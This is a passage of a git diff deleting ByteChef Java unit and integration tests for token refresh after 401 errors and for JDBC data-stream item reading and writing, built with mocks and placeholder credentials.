-        Object result = tokenRefreshTestService.executeWithConnection("testComponent", 1, connection);
-
-        assertThat(result).isEqualTo("success");
-        assertThat(tokenRefreshTestService.getCallCount()).isEqualTo(1);
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecute401TriggersRefreshRetrySucceeds() {
-        ComponentConnection connection = createOAuth2Connection();
-
-        setupRefreshOn401();
-        setupSuccessfulRefresh();
-
-        AtomicInteger callCount = new AtomicInteger(0);
-
-        tokenRefreshTestService.setBehavior(() -> {
-            if (callCount.incrementAndGet() == 1) {
-                throw new ProviderException(401, "Unauthorized");
-            }
-
-            return "success_after_refresh";
-        });
-
-        Object result = tokenRefreshTestService.executeWithConnection("testComponent", 1, connection);
-
-        assertThat(result).isEqualTo("success_after_refresh");
-        assertThat(tokenRefreshTestService.getCallCount()).isEqualTo(2);
-
-        verify(connectionDefinitionService).executeRefresh(
-            eq("testComponent"), eq(1), eq(AuthorizationType.OAUTH2_AUTHORIZATION_CODE), any(), any());
-
-        verify(connectionService).updateConnectionParameters(eq(1L), any());
-    }
-
-    @Test
-    void testExecuteRefreshFailsConnectionMarkedInvalid() {
-        ComponentConnection connection = createOAuth2Connection();
-
-        setupRefreshOn401();
-
-        when(connectionDefinitionService.executeRefresh(
-            anyString(), anyInt(), any(), any(), any()))
-                .thenThrow(new RuntimeException("Refresh failed"));
-
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnection("testComponent", 1, connection))
-            .isInstanceOf(RuntimeException.class)
-            .hasMessage("Refresh failed");
-
-        verify(connectionService).updateConnectionCredentialStatus(eq(1L), eq(Connection.CredentialStatus.INVALID));
-    }
-
-    @Test
-    void testExecuteConcurrentRefreshMultipleRefreshesHappen() throws InterruptedException {
-        ComponentConnection connection = createOAuth2Connection();
-
-        setupRefreshOn401();
-        setupSuccessfulRefresh();
-
-        int threadCount = 5;
-        CountDownLatch startLatch = new CountDownLatch(1);
-        CountDownLatch endLatch = new CountDownLatch(threadCount);
-        AtomicInteger failureCount = new AtomicInteger(0);
-        ConcurrentHashMap<Long, Boolean> threadFirstCallMap = new ConcurrentHashMap<>();
-
-        tokenRefreshTestService.setBehavior(() -> {
-            long threadId = Thread.currentThread()
-                .getId();
-
-            if (threadFirstCallMap.putIfAbsent(threadId, true) == null) {
-                throw new ProviderException(401, "Unauthorized");
-            }
-
-            return "success";
-        });
-
-        ExecutorService executor = Executors.newFixedThreadPool(threadCount);
-
-        for (int i = 0; i < threadCount; i++) {
-            executor.submit(() -> {
-                try {
-                    startLatch.await();
-
-                    tokenRefreshTestService.executeWithConnection("testComponent", 1, connection);
-                } catch (Exception exception) {
-                    failureCount.incrementAndGet();
-                } finally {
-                    endLatch.countDown();
-                }
-            });
-        }
-
-        startLatch.countDown();
-
-        boolean completed = endLatch.await(10, TimeUnit.SECONDS);
-
-        executor.shutdown();
-
-        assertThat(completed).isTrue();
-
-        verify(connectionService, times(threadCount)).updateConnectionParameters(eq(1L), any());
-    }
-
-    @Test
-    void testExecuteApiKeyAuthNoRefreshAttempted() {
-        ComponentConnection connection = createApiKeyConnection();
-
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnection("testComponent", 1, connection))
-            .isInstanceOf(ConfigurationException.class);
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecuteCustomAuthAcquireNewCredentials() {
-        ComponentConnection connection = createCustomConnection();
-
-        setupRefreshOn401ForCustomAuth();
-
-        Map<String, ?> newParams = Map.of("access_token", "new_custom_token");
-
-        doReturn(newParams).when(connectionDefinitionService)
-            .executeAcquire(
-                anyString(), anyInt(), any(), any(), any());
-
-        Connection updatedConnection = createMockConnection();
-
-        when(connectionService.updateConnectionParameters(anyLong(), any()))
-            .thenReturn(updatedConnection);
-
-        AtomicInteger callCount = new AtomicInteger(0);
-
-        tokenRefreshTestService.setBehavior(() -> {
-            if (callCount.incrementAndGet() == 1) {
-                throw new ProviderException(401, "Unauthorized");
-            }
-
-            return "success_with_custom_auth";
-        });
-
-        Object result = tokenRefreshTestService.executeWithConnection("testComponent", 1, connection);
-
-        assertThat(result).isEqualTo("success_with_custom_auth");
-
-        verify(connectionDefinitionService).executeAcquire(
-            eq("testComponent"), eq(1), eq(AuthorizationType.CUSTOM), any(), any());
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecuteNestedExceptionMatches() {
-        ComponentConnection connection = createOAuth2Connection();
-
-        setupRefreshOn401();
-        setupSuccessfulRefresh();
-
-        AtomicInteger callCount = new AtomicInteger(0);
-
-        tokenRefreshTestService.setBehavior(() -> {
-            if (callCount.incrementAndGet() == 1) {
-                throw new RuntimeException("Outer exception", new ProviderException(401, "Unauthorized"));
-            }
-
-            return "success_after_nested_exception";
-        });
-
-        Object result = tokenRefreshTestService.executeWithConnection("testComponent", 1, connection);
-
-        assertThat(result).isEqualTo("success_after_nested_exception");
-        assertThat(tokenRefreshTestService.getCallCount()).isEqualTo(2);
-    }
-
-    @Test
-    void testExecuteRetryAlsoFailsExceptionThrown() {
-        ComponentConnection connection = createOAuth2Connection();
-
-        setupRefreshOn401();
-        setupSuccessfulRefresh();
-
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnection("testComponent", 1, connection))
-            .isInstanceOf(ConfigurationException.class);
-
-        assertThat(tokenRefreshTestService.getCallCount()).isEqualTo(2);
-
-        verify(connectionDefinitionService, times(1)).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecuteNullConnectionNoRefreshAttempted() {
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnection("testComponent", 1, null))
-            .isInstanceOf(ProviderException.class);
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecuteNullAuthTypeNoRefreshAttempted() {
-        ComponentConnection connection = createConnectionWithNullAuthType();
-
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnection("testComponent", 1, connection))
-            .isInstanceOf(ProviderException.class);
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    @Test
-    void testExecuteConnectionMapRefreshWorks() {
-        ComponentConnection connection = createOAuth2Connection();
-        Map<String, ComponentConnection> connectionMap = new HashMap<>();
-
-        connectionMap.put("default", connection);
-
-        setupRefreshOn401();
-        setupSuccessfulRefresh();
-
-        AtomicInteger callCount = new AtomicInteger(0);
-
-        tokenRefreshTestService.setBehavior(() -> {
-            if (callCount.incrementAndGet() == 1) {
-                throw new ProviderException(401, "Unauthorized");
-            }
-
-            return "success_with_map";
-        });
-
-        Object result = tokenRefreshTestService.executeWithConnectionMap("testComponent", 1, connectionMap);
-
-        assertThat(result).isEqualTo("success_with_map");
-        assertThat(tokenRefreshTestService.getCallCount()).isEqualTo(2);
-    }
-
-    @Test
-    void testExecuteEmptyConnectionMapNoRefreshAttempted() {
-        Map<String, ComponentConnection> emptyMap = new HashMap<>();
-
-        tokenRefreshTestService.setBehavior(() -> {
-            throw new ProviderException(401, "Unauthorized");
-        });
-
-        assertThatThrownBy(() -> tokenRefreshTestService.executeWithConnectionMap("testComponent", 1, emptyMap))
-            .isInstanceOf(ProviderException.class);
-
-        verify(connectionDefinitionService, never()).executeRefresh(
-            anyString(), anyInt(), any(), any(), any());
-    }
-
-    private ComponentConnection createOAuth2Connection() {
-        Map<String, Object> params = new HashMap<>();
-
-        params.put("access_token", "old_token");
-        params.put("refresh_token", "refresh_token");
-
-        return new ComponentConnection("testComponent", 1, 1L, params, AuthorizationType.OAUTH2_AUTHORIZATION_CODE);
-    }
-
-    private ComponentConnection createApiKeyConnection() {
-        Map<String, Object> params = new HashMap<>();
-
-        params.put("api_key", "test_api_key");
-
-        return new ComponentConnection("testComponent", 1, 1L, params, AuthorizationType.API_KEY);
-    }
-
-    private ComponentConnection createCustomConnection() {
-        Map<String, Object> params = new HashMap<>();
-
-        params.put("custom_token", "old_custom_token");
-
-        return new ComponentConnection("testComponent", 1, 1L, params, AuthorizationType.CUSTOM);
-    }
-
-    private ComponentConnection createConnectionWithNullAuthType() {
-        Map<String, Object> params = new HashMap<>();
-
-        params.put("access_token", "token");
-
-        return new ComponentConnection("testComponent", 1, 1L, params, null);
-    }
-
-    private void setupRefreshOn401() {
-        when(connectionDefinitionService.getAuthorizationRefreshOn(
-            anyString(), anyInt(), eq(AuthorizationType.OAUTH2_AUTHORIZATION_CODE)))
-                .thenReturn(List.of(401));
-    }
-
-    private void setupRefreshOn401ForCustomAuth() {
-        when(connectionDefinitionService.getAuthorizationRefreshOn(
-            anyString(), anyInt(), eq(AuthorizationType.CUSTOM)))
-                .thenReturn(List.of(401));
-    }
-
-    private void setupSuccessfulRefresh() {
-        RefreshTokenResponse refreshResponse = new RefreshTokenResponse("new_access_token", "new_refresh_token", 3600L);
-
-        when(connectionDefinitionService.executeRefresh(
-            anyString(), anyInt(), any(), any(), any(Context.class)))
-                .thenReturn(refreshResponse);
-
-        Connection updatedConnection = createMockConnection();
-
-        when(connectionService.updateConnectionParameters(anyLong(), any()))
-            .thenReturn(updatedConnection);
-    }
-
-    private Connection createMockConnection() {
-        Connection connection = new Connection();
-
-        connection.setConnectionVersion(1);
-        connection.setParameters(Map.of("access_token", "new_access_token"));
-        connection.setAuthorizationType(AuthorizationType.OAUTH2_AUTHORIZATION_CODE);
-
-        return connection;
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshTestService.java b/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshTestService.java
deleted file mode 100644
index 295e1cfe694..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/aspect/TokenRefreshTestService.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.aspect;
-
-import com.bytechef.platform.component.ComponentConnection;
-import com.bytechef.platform.component.annotation.WithTokenRefresh;
-import com.bytechef.platform.component.exception.ActionDefinitionErrorType;
-import java.util.Map;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.function.Supplier;
-import org.springframework.stereotype.Service;
-
-/**
- * Test service for exercising the TokenRefreshAspect. This service is used only in integration tests.
- *
- * @author Ivica Cardic
- */
-@Service
-public class TokenRefreshTestService {
-
-    private final AtomicInteger callCount = new AtomicInteger(0);
-
-    private Supplier<Object> behavior = () -> "success";
-
-    /**
-     * Sets the behavior for the next executeWithConnection call.
-     *
-     * @param behavior the behavior to execute
-     */
-    public void setBehavior(Supplier<Object> behavior) {
-        this.behavior = behavior;
-        this.callCount.set(0);
-    }
-
-    /**
-     * Returns the number of times executeWithConnection was called.
-     *
-     * @return the call count
-     */
-    public int getCallCount() {
-        return callCount.get();
-    }
-
-    /**
-     * Resets the call count and behavior.
-     */
-    public void reset() {
-        this.behavior = () -> "success";
-        this.callCount.set(0);
-    }
-
-    /**
-     * Test method with single ComponentConnection parameter.
-     */
-    @WithTokenRefresh(
-        errorTypeClass = ActionDefinitionErrorType.class,
-        errorTypeField = "EXECUTE_PERFORM")
-    public Object executeWithConnection(
-        @WithTokenRefresh.ComponentNameParam String componentName, int componentVersion,
-        @WithTokenRefresh.ConnectionParam ComponentConnection componentConnection) {
-
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-
-    /**
-     * Test method with Map of ComponentConnections parameter.
-     */
-    @WithTokenRefresh(
-        errorTypeClass = ActionDefinitionErrorType.class,
-        errorTypeField = "EXECUTE_PERFORM")
-    public Object executeWithConnectionMap(
-        @WithTokenRefresh.ComponentNameParam String componentName, int componentVersion,
-        @WithTokenRefresh.ConnectionParam Map<String, ComponentConnection> componentConnections) {
-
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-
-    /**
-     * Test method without connection parameter (should not trigger refresh).
-     */
-    @WithTokenRefresh(
-        errorTypeClass = ActionDefinitionErrorType.class,
-        errorTypeField = "EXECUTE_PERFORM")
-    public Object executeWithoutConnection(
-        @WithTokenRefresh.ComponentNameParam String componentName, int componentVersion) {
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReaderIntTest.java b/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReaderIntTest.java
deleted file mode 100644
index 7bf857875c5..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemReaderIntTest.java
+++ /dev/null
@@ -1,376 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.jdbc.datastream;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.datastream.ExecutionContext;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import com.bytechef.platform.component.jdbc.JdbcExecutor;
-import com.bytechef.platform.component.jdbc.operation.config.JdbcOperationIntTestConfiguration;
-import java.math.BigDecimal;
-import java.sql.ResultSet;
-import java.sql.ResultSetMetaData;
-import java.sql.SQLException;
-import java.sql.Types;
-import java.time.LocalDateTime;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.List;
-import java.util.Map;
-import javax.sql.DataSource;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.jdbc.datasource.SingleConnectionDataSource;
-
-/**
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = JdbcOperationIntTestConfiguration.class)
-public class JdbcItemReaderIntTest {
-
-    @Autowired
-    private DataSource dataSource;
-
-    @Autowired
-    private JdbcTemplate jdbcTemplate;
-
-    private Parameters inputParameters;
-    private ClusterElementContext clusterContext;
-    private Context context;
-    private ExecutionContext executionContext;
-
-    @BeforeEach
-    public void beforeEach() {
-        jdbcTemplate.execute("DROP TABLE IF EXISTS test_reader;");
-        jdbcTemplate = new JdbcTemplate(dataSource);
-
-        jdbcTemplate.execute(
-            """
-                    CREATE TABLE test_reader (
-                        id          INTEGER PRIMARY KEY,
-                        name        VARCHAR(256) NOT NULL,
-                        amount      DECIMAL(10,2),
-                        active      BOOLEAN,
-                        created_at  TIMESTAMP
-                    );
-                    INSERT INTO test_reader VALUES(1, 'name1', 100.50, true, '2024-01-01 10:00:00');
-                    INSERT INTO test_reader VALUES(2, 'name2', 200.75, false, '2024-01-02 11:00:00');
-                """);
-
-        inputParameters = mock(Parameters.class);
-        clusterContext = mock(ClusterElementContext.class);
-        context = mock(Context.class);
-        executionContext = mock(ExecutionContext.class);
-
-        when(inputParameters.getString(eq("schema"), eq("public"))).thenReturn("public");
-        when(inputParameters.getRequiredString(eq("table"))).thenReturn("test_reader");
-    }
-
-    @Test
-    public void testGetFieldsReturnsColumnMetadata() throws SQLException {
-        TestableJdbcItemReader reader = new TestableJdbcItemReader(dataSource);
-
-        List<FieldDefinition> fields = reader.getFields(inputParameters, null, clusterContext);
-
-        assertThat(fields).hasSize(5);
-
-        FieldDefinition idField = fields.stream()
-            .filter(field -> "id".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-
-        assertThat(idField.type()).isEqualTo(Integer.class);
-
-        FieldDefinition nameField = fields.stream()
-            .filter(field -> "name".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-
-        assertThat(nameField.type()).isEqualTo(String.class);
-
-        FieldDefinition amountField = fields.stream()
-            .filter(field -> "amount".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-
-        assertThat(amountField.type()).isEqualTo(BigDecimal.class);
-
-        FieldDefinition activeField = fields.stream()
-            .filter(field -> "active".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-
-        assertThat(activeField.type()).isEqualTo(Boolean.class);
-
-        FieldDefinition createdAtField = fields.stream()
-            .filter(field -> "created_at".equals(field.name()))
-            .findFirst()
-            .orElseThrow();
-
-        assertThat(createdAtField.type()).isEqualTo(LocalDateTime.class);
-    }
-
-    @Test
-    public void testReadReturnsRowData() throws SQLException {
-        TestableJdbcItemReader reader = new TestableJdbcItemReader(dataSource);
-
-        when(inputParameters.getString(eq("condition"))).thenReturn(null);
-        when(inputParameters.getString(eq("orderBy"))).thenReturn("id");
-        when(inputParameters.getString(eq("orderDirection"), eq("ASC"))).thenReturn("ASC");
-
-        reader.open(inputParameters, null, context, executionContext);
-
-        Map<String, Object> row1 = reader.read();
-
-        assertThat(row1).isNotNull();
-        assertThat(row1.get("id")).isEqualTo(1);
-        assertThat(row1.get("name")).isEqualTo("name1");
-
-        Map<String, Object> row2 = reader.read();
-
-        assertThat(row2).isNotNull();
-        assertThat(row2.get("id")).isEqualTo(2);
-        assertThat(row2.get("name")).isEqualTo("name2");
-
-        Map<String, Object> row3 = reader.read();
-
-        assertThat(row3).isNull();
-
-        reader.close();
-    }
-
-    @Test
-    public void testReadWithCondition() throws SQLException {
-        TestableJdbcItemReader reader = new TestableJdbcItemReader(dataSource);
-
-        when(inputParameters.getString(eq("condition"))).thenReturn("id = 2");
-        when(inputParameters.getString(eq("orderBy"))).thenReturn(null);
-        when(inputParameters.getString(eq("orderDirection"), eq("ASC"))).thenReturn("ASC");
-
-        reader.open(inputParameters, null, context, executionContext);
-
-        Map<String, Object> row = reader.read();
-
-        assertThat(row).isNotNull();
-        assertThat(row.get("id")).isEqualTo(2);
-        assertThat(row.get("name")).isEqualTo("name2");
-
-        assertThat(reader.read()).isNull();
-
-        reader.close();
-    }
-
-    @Test
-    public void testReadWithOrderByDescending() throws SQLException {
-        TestableJdbcItemReader reader = new TestableJdbcItemReader(dataSource);
-
-        when(inputParameters.getString(eq("condition"))).thenReturn(null);
-        when(inputParameters.getString(eq("orderBy"))).thenReturn("id");
-        when(inputParameters.getString(eq("orderDirection"), eq("ASC"))).thenReturn("DESC");
-
-        reader.open(inputParameters, null, context, executionContext);
-
-        Map<String, Object> row1 = reader.read();
-
-        assertThat(row1).isNotNull();
-        assertThat(row1.get("id")).isEqualTo(2);
-
-        Map<String, Object> row2 = reader.read();
-
-        assertThat(row2).isNotNull();
-        assertThat(row2.get("id")).isEqualTo(1);
-
-        reader.close();
-    }
-
-    /**
-     * A testable version of JdbcItemReader that uses an injected DataSource instead of creating one from connection
-     * parameters.
-     */
-    private static class TestableJdbcItemReader {
-
-        private final DataSource testDataSource;
-        private SingleConnectionDataSource dataSource;
-        private Iterator<Map<String, Object>> iterator;
-
-        TestableJdbcItemReader(DataSource testDataSource) {
-            this.testDataSource = testDataSource;
-        }
-
-        public List<FieldDefinition> getFields(
-            Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context)
-            throws SQLException {
-
-            List<FieldDefinition> fieldDefinitions = new ArrayList<>();
-
-            try (SingleConnectionDataSource singleConnectionDataSource =
-                new SingleConnectionDataSource(testDataSource.getConnection(), false)) {
-
-                String schema = inputParameters.getString("schema", "public");
-                String table = inputParameters.getRequiredString("table");
-
-                String query = "SELECT * FROM %s.%s WHERE 1=0".formatted(schema, table);
-
-                JdbcExecutor.query(
-                    query, Map.of(), (ResultSet resultSet, int rowNum) -> {
-                        try {
-                            ResultSetMetaData metaData = resultSet.getMetaData();
-                            int columnCount = metaData.getColumnCount();
-
-                            for (int i = 1; i <= columnCount; i++) {
-                                String columnName = metaData.getColumnName(i);
-                                int columnType = metaData.getColumnType(i);
-                                Class<?> javaType = getJavaType(columnType);
-
-                                fieldDefinitions.add(new FieldDefinition(columnName, columnName, javaType));
-                            }
-                        } catch (SQLException exception) {
-                            throw new RuntimeException(exception);
-                        }
-
-                        return null;
-                    }, singleConnectionDataSource);
-
-                if (fieldDefinitions.isEmpty()) {
-                    try (var connection = singleConnectionDataSource.getConnection();
-                        var columnsResultSet = connection.getMetaData()
-                            .getColumns(null, schema, table, null)) {
-
-                        while (columnsResultSet.next()) {
-                            String columnName = columnsResultSet.getString("COLUMN_NAME");
-                            int columnType = columnsResultSet.getInt("DATA_TYPE");
-                            Class<?> javaType = getJavaType(columnType);
-
-                            fieldDefinitions.add(new FieldDefinition(columnName, columnName, javaType));
-                        }
-                    }
-                }
-            }
-
-            return fieldDefinitions;
-        }
-
-        public void open(
-            Parameters inputParameters, Parameters connectionParameters, Context context,
-            ExecutionContext executionContext) throws SQLException {
-
-            this.dataSource = new SingleConnectionDataSource(testDataSource.getConnection(), false);
-
-            String query = buildSelectQuery(inputParameters);
-
-            List<Map<String, Object>> rows = JdbcExecutor.query(
-                query, Map.of(), (ResultSet resultSet, int rowNum) -> {
-                    Map<String, Object> row = new HashMap<>();
-
-                    try {
-                        ResultSetMetaData metaData = resultSet.getMetaData();
-                        int columnCount = metaData.getColumnCount();
-
-                        for (int i = 1; i <= columnCount; i++) {
-                            String columnName = metaData.getColumnName(i);
-
-                            row.put(columnName, resultSet.getObject(i));
-                        }
-                    } catch (SQLException exception) {
-                        throw new RuntimeException(exception);
-                    }
-
-                    return row;
-                }, dataSource);
-
-            this.iterator = rows.iterator();
-        }
-
-        public Map<String, Object> read() {
-            if (iterator != null && iterator.hasNext()) {
-                return iterator.next();
-            }
-
-            return null;
-        }
-
-        public void close() {
-            if (dataSource != null) {
-                try {
-                    dataSource.close();
-                } catch (Exception exception) {
-                    throw new RuntimeException(exception);
-                }
-            }
-        }
-
-        private String buildSelectQuery(Parameters inputParameters) {
-            String schema = inputParameters.getString("schema", "public");
-            String table = inputParameters.getRequiredString("table");
-            String condition = inputParameters.getString("condition");
-            String orderBy = inputParameters.getString("orderBy");
-            String orderDirection = inputParameters.getString("orderDirection", "ASC");
-
-            StringBuilder queryBuilder = new StringBuilder();
-
-            queryBuilder.append("SELECT * FROM ")
-                .append(schema)
-                .append(".")
-                .append(table);
-
-            if (condition != null && !condition.isBlank()) {
-                queryBuilder.append(" WHERE ")
-                    .append(condition);
-            }
-
-            if (orderBy != null && !orderBy.isBlank()) {
-                queryBuilder.append(" ORDER BY ")
-                    .append(orderBy)
-                    .append(" ")
-                    .append(orderDirection);
-            }
-
-            return queryBuilder.toString();
-        }
-
-        private Class<?> getJavaType(int sqlType) {
-            return switch (sqlType) {
-                case Types.BIGINT -> Long.class;
-                case Types.BINARY, Types.VARBINARY, Types.LONGVARBINARY -> byte[].class;
-                case Types.BIT, Types.BOOLEAN -> Boolean.class;
-                case Types.CHAR, Types.VARCHAR, Types.LONGVARCHAR, Types.NCHAR, Types.NVARCHAR, Types.LONGNVARCHAR ->
-                    String.class;
-                case Types.DATE -> java.time.LocalDate.class;
-                case Types.DECIMAL, Types.NUMERIC -> BigDecimal.class;
-                case Types.DOUBLE, Types.FLOAT -> Double.class;
-                case Types.INTEGER -> Integer.class;
-                case Types.REAL -> Float.class;
-                case Types.SMALLINT -> Short.class;
-                case Types.TIME, Types.TIME_WITH_TIMEZONE -> java.time.LocalTime.class;
-                case Types.TIMESTAMP, Types.TIMESTAMP_WITH_TIMEZONE -> LocalDateTime.class;
-                case Types.TINYINT -> Byte.class;
-                default -> Object.class;
-            };
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemWriterTest.java b/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemWriterTest.java
deleted file mode 100644
index 05c416e1470..00000000000
--- a/server/libs/platform/platform-component/platform-component-service/src/test/java/com/bytechef/platform/component/jdbc/datastream/JdbcItemWriterTest.java
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.jdbc.datastream;
-
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.COLUMNS;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.NAME;
-import static com.bytechef.platform.component.jdbc.constant.JdbcConstants.TYPE;
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.commons.util.MapUtils;
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.definition.datastream.FieldDefinition;
-import java.time.LocalDate;
-import java.time.LocalDateTime;
-import java.time.LocalTime;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeAll;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import tools.jackson.databind.json.JsonMapper;
-
-/**
- * @author Ivica Cardic
- */
-class JdbcItemWriterTest {
-
-    private JdbcItemWriter jdbcItemWriter;
-    private Parameters inputParameters;
-    private Parameters connectionParameters;
-    private ClusterElementContext context;
-
-    @BeforeAll
-    static void beforeAll() {
-        MapUtils.setObjectMapper(JsonMapper.builder()
-            .build());
-    }
-
-    @BeforeEach
-    void setUp() {
-        jdbcItemWriter = new JdbcItemWriter(
-            "jdbc:postgresql://%s:%s/%s", "org.postgresql.Driver");
-        inputParameters = mock(Parameters.class);
-        connectionParameters = mock(Parameters.class);
-        context = mock(ClusterElementContext.class);
-    }
-
-    @Test
-    void testGetFieldsReturnsFieldDefinitionsFromColumns() {
-        List<Map<String, Object>> columns = List.of(
-            Map.of(NAME, "id", TYPE, "INTEGER"),
-            Map.of(NAME, "name", TYPE, "STRING"),
-            Map.of(NAME, "active", TYPE, "BOOLEAN"));
-
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(columns);
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(3);
-        assertThat(fields.get(0)
-            .name()).isEqualTo("id");
-        assertThat(fields.get(0)
-            .type()).isEqualTo(Long.class);
-        assertThat(fields.get(1)
-            .name()).isEqualTo("name");
-        assertThat(fields.get(1)
-            .type()).isEqualTo(String.class);
-        assertThat(fields.get(2)
-            .name()).isEqualTo("active");
-        assertThat(fields.get(2)
-            .type()).isEqualTo(Boolean.class);
-    }
-
-    @Test
-    void testGetFieldsWithEmptyColumns() {
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(List.of());
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).isEmpty();
-    }
-
-    @Test
-    void testGetFieldsWithNumericTypes() {
-        List<Map<String, Object>> columns = List.of(
-            Map.of(NAME, "bigint_col", TYPE, "BIGINT"),
-            Map.of(NAME, "decimal_col", TYPE, "DECIMAL"),
-            Map.of(NAME, "double_col", TYPE, "DOUBLE"),
-            Map.of(NAME, "float_col", TYPE, "FLOAT"),
-            Map.of(NAME, "real_col", TYPE, "REAL"));
-
-        when(inputParameters.getList(eq(COLUMNS), any(TypeReference.class), eq(List.of()))).thenReturn(columns);
-
-        List<FieldDefinition> fields = jdbcItemWriter.getFields(inputParameters, connectionParameters, context);
-
-        assertThat(fields).hasSize(5);
-        assertThat(fields.get(0)
-            .type()).isEqualTo(Long.class);
-        assertThat(fields.get(1)
-            .type()).isEqualTo(Double.class);
-        assertThat(fields.get(2)
-            .type()).isEqualTo(Double.class);
-        assertThat(fields.get(3)
-            .type()).isEqualTo(Double.class);
-        assertThat(fields.get(4)
